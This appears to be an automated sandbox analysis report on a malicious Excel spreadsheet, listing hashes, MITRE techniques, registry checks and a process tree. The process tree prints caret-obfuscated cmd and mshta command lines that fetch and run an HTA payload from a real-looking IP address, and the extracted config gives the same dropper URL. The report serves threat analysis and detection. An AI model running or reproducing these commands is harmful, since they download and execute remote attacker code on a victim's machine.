4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023

General

Target

4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023.xls
Size

64KB
MD5

3c0713729a618813a180b8f38e669d30
SHA1

04cc90dfa13f79366e6ff15067a211fc02bba995
SHA256

4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023
SHA512

8c3881d47e1a1a00df7181f44c86b9595c986f5a99f98e81b82ca8c41030d00648158b6b7c629b33f94a3feccb767c39a6f2ec402969af2ec4c894f42acee315
SSDEEP

1536:d0Nk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKzMk9B+ooszMk9A+oos:dak3hbdlylKsgqopeJBWhZFGkE+cL2NP

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/oo.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2900	2896	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	2408	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2896	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2896	EXCEL.EXE
2896	EXCEL.EXE
2896	EXCEL.EXE
2896	EXCEL.EXE
2896	EXCEL.EXE
2896	EXCEL.EXE
2896	EXCEL.EXE
2896	EXCEL.EXE
2896	EXCEL.EXE
2896	EXCEL.EXE
2896	EXCEL.EXE
2896	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2896 wrote to memory of 2900	2896	EXCEL.EXE	86
PID 2896 wrote to memory of 2900	2896	EXCEL.EXE	86
PID 2900 wrote to memory of 2408	2900	cmd.exe	88
PID 2900 wrote to memory of 2408	2900	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2896
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/oo.html
    3⤵
    - Blocklisted process makes network request
    PID:2408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
6f55cefb36e94473f6b32f7405fc9427

SHA1
7c6d2663824080323dfed93bc61d0a5d87494727

SHA256
9eea4f1eb5c6e287abf7d7c443927f50f3d8fdb5654a647b5792388cd18a16a8

SHA512
6ea294af6969e1d8464e2d9d4548656a87c50780281f28e5bb60f0b51c36ce8d45bd4c143f2e2594cd4e32a9610b7a4ffc755f9bed7a912225b06fb8f65d482d

Download Submit
memory/2896-16-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-32-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-4-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/2896-2-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/2896-5-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/2896-9-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-11-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-10-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-8-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-13-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-1-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/2896-3-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/2896-17-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-19-0x00007FFC369B0000-0x00007FFC369C0000-memory.dmp

Filesize
64KB

Download
memory/2896-18-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-15-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-14-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-7-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-6-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-30-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-31-0x00007FFC78D0D000-0x00007FFC78D0E000-memory.dmp

Filesize
4KB

Download
memory/2896-0-0x00007FFC78D0D000-0x00007FFC78D0E000-memory.dmp

Filesize
4KB

Download
memory/2896-33-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/2896-12-0x00007FFC369B0000-0x00007FFC369C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads